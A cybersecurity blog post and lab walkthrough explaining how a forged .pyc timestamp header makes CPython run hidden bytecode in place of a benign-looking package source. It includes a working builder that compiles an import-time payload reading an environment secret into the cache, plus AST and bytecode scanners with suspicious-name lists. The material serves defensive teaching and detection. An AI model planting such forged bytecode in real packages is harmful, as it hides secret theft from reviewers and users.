~/tech-with-ugur

The Python Bytecode Blind Spot: when the source you scan isn't the code that runs

2026-08-15 cybersecurity

Run the companion lab

Here is a mental-model bug worth a lot of money to an attacker: “I read the source, it’s fine.” Most supply-chain review — human eyes, AST linters, the scanners bolted into CI — reads a package’s .py files. But CPython doesn’t execute your source. It executes bytecode. And the two can be made to disagree.

An empirical study this month analyzed over a million PyPI artifacts and gave this divergence a name: the inspection-execution gap — the distance between what source-level analysis sees and what the interpreter actually runs. It lands in the middle of a live supply-chain wave (a recent campaign shipped hundreds of malicious npm packages carrying a cross-platform RAT), which makes “how does malicious code hide from a scanner” an immediately practical question.

This lab builds the gap end to end: a package that looks harmless, a source scanner that certifies it clean by construction, and a bytecode-aware check that catches what the source scanner cannot. Everything below is copied verbatim from the lab; you can clone it and reproduce every verdict.

A 20-line package that looks harmless

Here is the entire package a reviewer sees. It greets people. It touches no environment variables, opens no files, imports nothing.

labs/lab-python-bytecode-blindspot/friendly/__init__.py:

"""A friendly little package. Greets people. Nothing more."""

GREETING = "Hello"


def greet(name):
    return f"{GREETING}, {name}!"

There is genuinely nothing wrong with that file. A source reviewer is not being careless when they wave it through — the source is clean. The problem is that this .py is not what runs.

Where the gap comes from

When you import friendly, CPython looks for a cached, precompiled __pycache__/__init__.cpython-3XX.pyc. If the cache’s header says it is still valid for the paired source, the interpreter loads that bytecode and never recompiles the .py at all. The validity check is the weak link: in the default timestamp mode, the header is just the source’s modification time and size. Forge a header that matches, and the interpreter trusts stale — or hostile — bytecode.

So the lab ships a second source file, never importable as friendly, that carries the real behavior. Same greet(), plus a payload that runs at import time.

labs/lab-python-bytecode-blindspot/payload_source.py:

"""Looks just like `friendly` — same greet() — but its compiled form
leaks an environment secret to a file the moment it is imported.

This file is never imported as `friendly`. It exists only to be compiled
into `friendly`'s __pycache__ by build_pyc.py, so the shipped bytecode
diverges from the benign source a reviewer reads. This is a teaching
artifact: the only effect is writing a fake secret to a local temp file.
"""

import os

GREETING = "Hello"


def greet(name):
    return f"{GREETING}, {name}!"


# Executes at import time — the classic supply-chain trigger.
_secret = os.environ.get("FANCY_SECRET", "")
if _secret:
    with open("/tmp/leak.txt", "w") as _f:
        _f.write(_secret)

The trick is a small one, and it is the whole attack. Compile that file, but stamp its .pyc with a header that describes the benign __init__.py:

labs/lab-python-bytecode-blindspot/build_pyc.py:

"""Compile payload_source.py into friendly's __pycache__ with a forged
timestamp header, so the interpreter loads the payload bytecode on import
instead of recompiling the benign source."""

import importlib.util
import marshal
import os
import struct


def build_pyc(bytecode_source_path, header_source_path, out_path):
    code = compile(
        open(bytecode_source_path).read(), header_source_path, "exec"
    )
    st = os.stat(header_source_path)
    header = (
        importlib.util.MAGIC_NUMBER
        + struct.pack("<I", 0)  # flags: timestamp-based invalidation
        + struct.pack("<I", int(st.st_mtime) & 0xFFFFFFFF)
        + struct.pack("<I", st.st_size & 0xFFFFFFFF)
    )
    os.makedirs(os.path.dirname(out_path), exist_ok=True)
    with open(out_path, "wb") as fh:
        fh.write(header + marshal.dumps(code))
    return out_path

The header is built from os.stat of the benign source (header_source_path is friendly/__init__.py), while the code object is compiled from payload_source.py. The interpreter compares that forged header against the benign source it can see, finds a match, and loads the payload. On import, FANCY_SECRET is read and written to /tmp/leak.txt — a fake secret to a temp file inside a throwaway container, no network egress, but the shape is exactly the real thing.

Nothing opaque is committed to the repo: the .pyc is a build artifact, regenerated at Docker build time from a source file you can read.

The scanner that is blind by construction

Now the review tooling. scan_source.py is not a strawman — it walks the AST and flags env access, file writes, risky imports, and dangerous builtins.

labs/lab-python-bytecode-blindspot/scan_source.py:

"""AST scanner for Python source. Flags env access, file writes, and risky
imports. It is thorough — and still blind to anything not in the .py it reads."""

import ast
import os
from dataclasses import dataclass

SUSPICIOUS_CALLS = {"open", "eval", "exec", "compile", "__import__"}
SUSPICIOUS_ATTRS = {"environ", "getenv", "system", "popen", "write", "connect"}
SUSPICIOUS_MODULES = {"os", "subprocess", "socket", "requests", "urllib"}


@dataclass
class Finding:
    file: str
    kind: str
    detail: str


def scan_source_file(path):
    tree = ast.parse(open(path).read(), path)
    findings = []
    for node in ast.walk(tree):
        if isinstance(node, ast.Call) and isinstance(node.func, ast.Name):
            if node.func.id in SUSPICIOUS_CALLS:
                findings.append(Finding(path, "call", node.func.id))
        if isinstance(node, ast.Attribute) and node.attr in SUSPICIOUS_ATTRS:
            findings.append(Finding(path, "attr", node.attr))
        if isinstance(node, ast.Import):
            for alias in node.names:
                if alias.name.split(".")[0] in SUSPICIOUS_MODULES:
                    findings.append(Finding(path, "import", alias.name))
        if isinstance(node, ast.ImportFrom):
            root = (node.module or "").split(".")[0]
            if root in SUSPICIOUS_MODULES:
                findings.append(Finding(path, "import", node.module))
    return findings

Run it against friendly/ and it reports the package clean — correctly. It read every .py and there was nothing to find. The payload was never in a .py it scans; it lives in the .pyc. This is the point that lands harder with an AST scanner than with grep: the review looks thorough, walks every node, checks every category — and still misses everything, because it is looking in the wrong artifact.

The check that catches it

The fix is to stop trusting the source as a proxy for behavior and compare it against what actually ships. scan_bytecode.py recompiles the source in memory, diffs the resulting code object against the shipped .pyc, and — only on a mismatch — disassembles the shipped bytecode to name what it really does.

labs/lab-python-bytecode-blindspot/scan_bytecode.py:

"""Bytecode-aware scanner: diff a module's source against its shipped .pyc,
then disassemble any mismatch to name what the compiled form actually does."""

import importlib.util
import marshal
from dataclasses import dataclass

SUSPICIOUS_NAMES = {
    "environ", "getenv", "system", "popen", "open", "write", "connect", "socket",
}


@dataclass
class ScanResult:
    module: str
    mismatch: bool
    suspicious: list


def load_pyc_code(pyc_path):
    with open(pyc_path, "rb") as fh:
        fh.read(16)  # skip the 16-byte pyc header (PEP 552)
        return marshal.load(fh)


def find_suspicious(code, acc=None):
    acc = [] if acc is None else acc
    for name in code.co_names:
        if name in SUSPICIOUS_NAMES:
            acc.append(name)
    for const in code.co_consts:
        if isinstance(const, str) and const.startswith("/tmp"):
            acc.append("path:" + const)
        if hasattr(const, "co_code"):  # nested code object
            find_suspicious(const, acc)
    return acc


def scan_module(py_path, pyc_path=None):
    pyc_path = pyc_path or importlib.util.cache_from_source(py_path)
    shipped = load_pyc_code(pyc_path)
    recompiled = compile(open(py_path).read(), py_path, "exec")
    mismatch = (
        shipped.co_code != recompiled.co_code
        or set(shipped.co_names) != set(recompiled.co_names)
    )
    suspicious = find_suspicious(shipped) if mismatch else []
    # de-dupe while preserving order
    suspicious = list(dict.fromkeys(suspicious))
    return ScanResult(py_path, mismatch, suspicious)

Two things make this robust rather than a party trick. First, the mismatch test is shipped.co_code != recompiled.co_code — a real comparison against the bytecode the interpreter would produce from the source, not a hardcoded verdict. The lab’s test suite proves this by regenerating the .pyc from the benign source and confirming the scanner then reports clean; the check keys on genuine divergence. Second, find_suspicious recurses into nested code objects (co_consts that themselves have co_code), so a payload hidden inside a function body is still named — here it surfaces environ, open, write, and the /tmp/leak.txt path pulled straight from the bytecode’s constants.

Seeing the contrast

run_scanners.py runs both against the same package and prints the two verdicts side by side.

labs/lab-python-bytecode-blindspot/run_scanners.py:

"""Run both scanners against `friendly` and print the contrast."""

import scan_bytecode
import scan_source


def main():
    print("== Source-only scanner (AST) ==")
    findings = scan_source.scan_package("friendly")
    if findings:
        for f in findings:
            print(f"  FLAG {f.kind}: {f.detail} ({f.file})")
        print("  VERDICT: SUSPICIOUS")
    else:
        print("  Read every .py in friendly/. Nothing suspicious.")
        print("  VERDICT: CLEAN")

    print()
    print("== Bytecode-aware scanner ==")
    result = scan_bytecode.scan_module("friendly/__init__.py")
    if result.mismatch:
        print(f"  Source/bytecode MISMATCH in {result.module}")
        print(f"  The shipped .pyc actually does: {', '.join(result.suspicious)}")
        print("  VERDICT: SUSPICIOUS")
    else:
        print("  Shipped bytecode matches the source.")
        print("  VERDICT: CLEAN")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

The lab is a single container. docker compose up --build prints the source scanner reporting friendly CLEAN and the bytecode scanner reporting a source/bytecode MISMATCH that names the hidden behavior; docker compose run --rm lab pytest -q runs the assertion suite, including the regenerate-from-benign-source test that flips the bytecode scanner back to clean. The full run steps are in the lab README.

A practical checklist

Two honest limits. This is detection, not prevention — it tells you the shipped code disagrees with the source, and leaves policy up to you. And it is one round in an arms race: obfuscation, alternate .pyc invalidation modes, and payloads assembled at runtime all raise the bar. But the core discipline holds regardless of how deep the obfuscation goes: audit what runs, not just what reads well.